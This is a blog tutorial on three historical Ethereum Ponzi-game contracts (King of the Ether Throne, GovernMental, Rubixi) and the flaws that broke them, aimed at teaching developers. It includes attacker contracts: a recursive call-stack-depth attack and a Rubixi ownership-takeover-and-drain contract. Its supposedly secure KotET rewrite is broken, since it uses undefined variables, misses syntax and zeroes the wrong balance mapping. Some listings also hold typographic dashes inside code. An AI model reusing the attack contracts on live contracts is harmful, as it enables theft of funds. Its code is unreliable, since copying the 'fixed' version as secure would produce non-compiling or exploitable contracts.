Smart Contract Attacks [Part 2] - Ponzi Games Gone Wrong
By: Pete Humiston
Tags: Ethereum, Smart Contracts, Crypto, Bitcoin, Cryptocurrency

Ponzi Games. If you followed the Ethereum blockchain in 2016 you’d know that early day smart contract development had a plethora of Ponzi Games. Like a traditional Ponzi Scheme, these games were designed such that their continuation was contingent on the marginal player joining the contract to keep the “fun” going. While these contracts were destined to come to an abrupt end, some would find that the end would come for a different reason…

In Part 2 of Smart Contract Attacks (Part 1 Here) I‘ll be walking you through three Ponzi Games that fell victim to smart contract vulnerabilities and how to avoid making the same mistakes. You’ll also develop a greater overall comprehension of smart contract development, contract best practices, and a brief overview of Ethereum’s most notable Ponzi Games.

Attack #1: Exception Disorder

An exception disorder attack occurs when an attacker takes advantage of a contract‘s failure to return an exception error. An exception error is triggered when a contract unsuccessfully calls a functions like address.send() or address.call.value() . The error itself will not be flagged unless the contract is instructed to do so; exception errors are not autogenerated.

The Attack

On February 6th, 2016 King of the Ether Throne (KotET) smart contract was deployed. KotET was game whereby players would send the contract a set amount of ether to take “the throne”. Upon taking the throne, the player was added to the “Hall of Monarchs” and forever immortalized on the blockchain. More importantly, the new king became entitled to the ether paid by the subsequent king who would usurped them. As the number of Kings who took the throne grew, the cost to become King grew incrementally more expensive. If 14 days passed without a new successor, the throne was reset and the game started all over again. The idea is that a new King pays up to claim the throne with the intent of a successor coming along and paying a higher price — “Greater Fool’s Theory” or Ponzi-Scheme if you will…

The Code

Below is a simplified version of the the original KotET contract. Take note of the fallback function, which is triggered when a player sends msg.value to the contract. The fallback function will first check to see if enough ether was sent to the king to take the throne. If not, the request is thrown and the code is reverted. If enough Ether is sent to claim the throne, the existing King receives said compensation (claim price less the commission fee) and the sender is crowned as the new King. To wrap things up a new claim price is calculated.

contract KotET { address public king;

uint public claimPrice = 100;

address owner; //constructor, assigning ownership constructor() {

owner = msg.sender;

king = msg.sender;

} //for contract creator to withdraw commission fees

function sweepCommission(uint amount) {

owner.send(amount);

} //fallback function

function() {

if (msg.value < claimPrice) revert;

uint compensation = calculateCompensation();

king.send(compensation);

king = msg.sender;

claimPrice = calculateNewPrice();

} }

The fatal flaw of the KotET contract was the use of address.send() and the failure to check for an exception error upon an unsuccessful call. As I discussed in Smart Contract Attacks [Part 1], address.send() and address.transfer() are both limited to a stipend of 2300. While this is great for protecting against reentrancy attacks, the gas limit will result in a failure to send funds to the King’s address if the King’s contract has a fallback function costing > 2300 gas. This was the case for KotET, the payment to the dethroned King was sent to an Ethereum mist “contract-based wallet” instead of a “contract account”, which required more gas than available to successfully send the payment to the soon-to-be usurped King. The end result was an unsuccessful payment transfer and ether returned back to the KotET contract. Because payment could never be sent to the King, a new King was never crowned and the contract became stuck for all of time.

The Solution

We could make the contract more secure by replacing the contract’s fallback function king.send(Compensation) with king.call.value(Compensation) . The problem is that this would require the owner to assign a gas amount large enough to facilitate most receiving wallet contracts, but also low enough for most callers of the current contract — a next to impossible task. Even if a gas amount wasn’t specified, the contract could still be susceptible to a DoS attack. An attacker could create a contract with a fallback function that throws an exception revert() . This would also cause the contract to become permanently stuck.

KotET could have been solved in two ways:

Throwing an exception and the call being reverted — we can do this by simply adding revert to the function. This would stop the contract from being stuck in limbo, but would require additional steps to facilitate payment transfer. Two ideas that come to mind include the owner him/herself sending batched payments (too centralized), or implementing a batched payout that ensures payments are sent until there are no funds left in the “jackpot”. Implementing a withdraw pattern as opposed to a direct send call, the contract can be structured such that players can only cause his or her own withdraw to fail and not the rest of the contract.The only downside to a withdraw pattern is that it is much less autonomous and requires more user interaction. Let’s take a look at how we could update the contract to implement these changes.

contract KotET { address public king;

uint public claimPrice = 100;

uint public resolutionFunds

address owner;

mapping (address => uint) creditedFunds;



//constructor, assigning ownership

constructor() {

owner = msg.sender;

king = msg.sender;

}



//for contract creator to withdraw commission fees

function sweepCommission(uint amount) {

owner.send(amount);

}



//for assigning new king and crediting balance

function becomeKing() public payable returns (bool) {

if (msg.value > claimPrice) {

creditedFunds[richest] += msg.value;

king = msg.sender;

return true;

} else {

return false;

}

}



function withdraw() public {

uint amount = creditedFunds[msg.sender];

//zeroing the balance BEFORE sending creditedFunds

//to prevent re-entrancy attacks

pendingWithdrawals[msg.sender] = 0;

msg.sender.transfer(amount);

} }

BOOM! Now the contract no longer relies on a fallback function to execute the crowning of a new king and send funds directly to the usurped king. The contract is now secure from any fallback/reentrancy attacks that could potentially compromise the contract.

Attack #2: Call Stack Attack

Before EIP 150 was implemented, EVM had a reachable call stack depth of 1024 frames. What this meant was that someone could make a call to a contract 1023 times before automatically failing on the 1024th call. Attackers would intentionally reach the 1023rd call to cause the subsequent call to fail and position themselves to steal funds/obtain control of the contract.

The Attack

Similarly to KotET, GovernMental was a ponzi game whereby participants sent a certain amount of ether to the contract to join. Winner of each round was subject to the round winning “jackpot”. The rules of the game were as follows:

You must lend at least 1 ETH to the contract, you’re entitled to be paid back + 10% interest

If the “government” (contract) doesn’t receive new money for 12 hours, the latest creditor receives the jackpot and all others will lose their claims

Ether sent to the contract is distributed as such: 5% to the jackpot, 5% goes to the corrupt elite that runs the government (contract owner), 90% used to pay out creditors in order of their credit date

When jackpot is full (10K ETH), 95% is paid out to creditors

Bonus: creditors can use an affiliate link for friends who want to join. If a friend makes contributions to the contract then 5% goes toward the creditor, 5% to the corrupt elite (contract owner), 5% into the jackpot, and 85% is used for payouts.

The contract was written such that participants and their funds were recorded in 2 arrays, address[] public credAddr and uint[] public credAmt . Both of these arrays were to be reset at the end of each game. GovernMental was enough of a success that the arrays grew so large that the gas needed to clear them was more than the maximum allowed for a single transaction. The end result was a permanent freeze of the jackpot payout, which totaled roughly 1100 ether. However, a mere ~3 hours after Vitalik Buterin suggested on Reddit to pay the “~50 ETH worth of transaction fees to spam the gas limit up to 5.1m”, someone beganvspamming for the stuck reward. After about 2 months, the funds were finally unlocked and sent to the persistent caller.

While GovernMental wasn’t attacked by a malicious user/owner, it is a prime example of the damage that could have been done by a call stack attack. It also demonstrates the thoughtfulness one needs to exhibit when working with arrays and large datasets when fund ownership is involved.

The Code

Below is the complete and entire GovernMental smart contract code with a few shortened global variables. I’ve included the real contract in its entirety because plenty can learned by examining this contract line by line, including how the contract was constructed. One can see the function lendGovernmentMoney() references the creditor’s address and amount of ether required to reset or add to the existing arrays. Notice within this same function how funds are allocated between the contract owner and the last creditor when 12 hours have elapsed since the last creditor joined — credAddr[credAddr.length 1].send(profitFromCrash); and corruptElite.send(this.balance); .

contract Government { // Global Variables

uint32 public lastPaid;

uint public lastTimeOfNewCredit;

uint public profitFromCrash;

address[] public credAddr;

uint[] public credit;

address public corruptElite;

mapping (address => uint) buddies;

uint constant TWELVE_HOURS = 43200;

uint8 public round;

// constructor

constructor() { profitFromCrash = msg.value;

corruptElite = msg.sender;

lastTimeOfNewCredit = block.timestamp;

} function lendGovernmentMoney(address buddy) returns (bool) {

uint amount = msg.value;



// check if the system already broke down.

// If 12h no new creditor gives new credit to

// the system it will brake down.

// 12h are on average = 60*60*12/12.5 = 3456 if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp)

// Return money to sender

msg.sender.send(amount);



// Sends all contract money to the last creditor

credAddr[credAddr.length - 1].send(profitFromCrash);

corruptElite.send(this.balance);



// Reset contract state

lastPaid = 0;

lastTimeOfNewCredit = block.timestamp;

profitFromCrash = 0;

// this is where the arrays are cleared

credAddr = new address[](0);

credAmt = new uint[](0);

round += 1;

return false;

}

else { // the system needs to collect at

// least 1% of the profit from a crash to stay alive

if (amount >= 10 ** 18) { // the System has received fresh money,

// it will survive at leat 12h more

lastTimeOfNewCredit = block.timestamp;



// register the new creditor and his

// amount with 10% interest rate

credAddr.push(msg.sender);

credAmt.push(amount * 110 / 100); // now the money is distributed

// first the corrupt elite grabs 5% — thieves!

corruptElite.send(amount * 5/100); // 5% are going into the economy (they will increase

// the value for the person seeing the crash coming)

if (profitFromCrash < 10000 * 10**18)

profitFromCrash += amount * 5/100;

} // if you have a buddy in the government (and he is

// in the creditor list) he can get 5% of your

// credits. Make a deal with him.

if(buddies[buddy] >= amount) {

buddy.send(amount * 5/100);

}

buddies[msg.sender] += amount * 110 / 100; // 90% of money used to pay out old creditors

if (credAmt[lastPaid] <= address(this).balance — profitFromCrash){

credAddr[lastPaid].send(credAmt[lastPaid]);

buddies[credAddr[lastPaid]] -= credAmt[lastPaid];

lastPaid += 1;

}

return true;

}

else {

msg.sender.send(amount);

return false;

}

}

}

// fallback function

function() {

lendGovernmentMoney(0);

}



function totalDebt() returns (uint debt) {

for(uint i=lastPaid; i<credAmt.length; i++){

debt += credAmt[i];

}

} function totalPayedOut() returns (uint payout) {

for(uint i=0; i<lastPaid; i++){

payout += credAmt[i];

}

} // donate funds to "the government"

function investInTheSystem() {

profitFromCrash += msg.value;

} // From time to time the corrupt elite

// inherits it’s power to the next generation

function inheritToNextGeneration(address nextGeneration) {

if (msg.sender == corruptElite) {

corruptElite = nextGeneration;

}

} function getCreditorAddresses() returns (address[]) {

return credAddr;

}



function getCreditorAmounts() returns (uint[]) {

return credAmt;

}

}

Let’s assume an attacker writes the following contract below to maliciously attack contract Government {} .

contract attackGov { function attackGov (address target, uint count) {



if (0<= count && count<1023) {

this.attackGov.gas(gasleft() - 2000)(target, count+1);

}

else {

attackGov(target).lendGovernmentMoney; } }

The attacker calls contract attackGov{} to make recursive calls up until a stack size of 1023. When stack reaches 1022, function lendGovernmentMoney() is executed at stack size 1023. Because the 1024th call is designed to fail and send() doesn’t check the returned code, Governmental’s credAddr[credAddr.length — 1].send(profitFromCrash); fails. The contract then resets itself and the next round is ready to begin. Because payout had fail, the contract now has the jackpot from the last round and the owner will receive it on the next completed round, corruptElite.send(this.balance); .

The Solution

So how exactly can a call stack attack be avoided? Fortunately the Ethereum Improvement Protocol (EIP) 150 included an update making a call stack depth of 1024 next to impossible to reach. The rule states that the child of a call cannot consume more than 63/64 of the gas of the parent. To even get somewhat close to the call stack limit would be so incredibly costly that the attacker wouldn’t think twice to proceed.

On the other-hand, best practices when working with large arrays of data include:

Writing contract such that it splits up the array clearing work among several transactions instead of one OR

Writing contracts in a way that allows for users to separately handle the array elements associated with themselves.

Attack #3 — Immutable Constructor Bug

What makes smart contracts so special? They’re immutable. What make’s smart contracts a nightmare? THEY’RE IMMUTABLE. By now it’s a forgone conclusion that plenty can go wrong when writing a smart contract. Before pushing a contract live, it’s imperative that a process of thoroughly reviewing functions, global variables, and overall contract structure is undergone.

If there is one smart contract that will go down in Ethereum history as the poster-child for negligent contract construction, it is undoubtedly Rubixi. Rubixi was another Ponzi Game where players would send ether to the contract with the expectation of receiving at least a moderately more amount of ether. However, at some point during the development on Rubixi the owner haphazardly changed the contract name and failed to check for any inconsistencies as a result of the change. Needless to say, Rubixi was far from being labeled a “success”.

The Attack

As of Solidity v0.4.24, the constructor function of a contract is denoted as construct() . However, when the Rubixi contract was created the constructor function was identified by the EVM by sharing the same name as the contract. The problem with Rubixi was that when the contract was deployed the constructor was set as function DynamicPyramid() and not function Rubixi() , meaning Rubixi was probably originally called “DynamicPyramid”. Because of this inconsistency the contract did not assign an owner upon contract creation and the keys to the castle were up for grabs. Anyone could assign themselves as owner of the contract and collect the contract fees generated by participating players.

The Code

If we pull the first few lines from the contract code you can see the delta between the contract name and the intended constructor function. If you want to look at the original Rubixi contract feel free to click here.



contract Rubixi { //Declare variables for storage critical to contract

uint private balance = 0;

uint private collectedFees = 0;

uint private feePercent = 10;

uint private pyramidMultiplier = 300;

uint private payoutOrder = 0; address private creator; //Sets creator

function DynamicPyramid() {

creator = msg.sender;

}

The Attack

As you’ve probably already figured out by now, all an attacker would have to do is create a contract calling function DynamicPyramid() , thus granting them ownership. From there, the attacker could call function collectAllFees() and cash out. Although the attack is pretty straight forward, Rubixi is another prime example of the importance behind thorough review of one’s contract(s).

contract extractRubixi {



address owner;

Rubixi r = Rubixi(0xe82...);



constructor() public {

owner=msg.sender;

}



function setAndGrab() public {

r.DynamicPyramid();

r.collectAllFees();

}



}

The Solution

Fortunately Solidity has been updated such that the constructor function is defined by constructor() as opposed to contractName() . What we all can learn from this is to double, triple, quadruple check every aspect of your contract code and make sure you stay consistent through development. Nothing worse than deploying an immutable contract only to find a silly, yet costly, mistake.

At The End of The Day…

Ponzi Games might be a thing of the past, but as George Santayana once famously said, “those who cannot learn from history are doomed to repeat it”. By learning from the failures of KotET, GovernMental, and Rubixi we can all save ourselves the headache of traveling down the wrong road yet again. Hopefully you’re now walking away with a better comprehension of Solidity and you’re feeling more confident about smart contract development. If you enjoyed this post, please feel free to leave a “clap” and/or comment!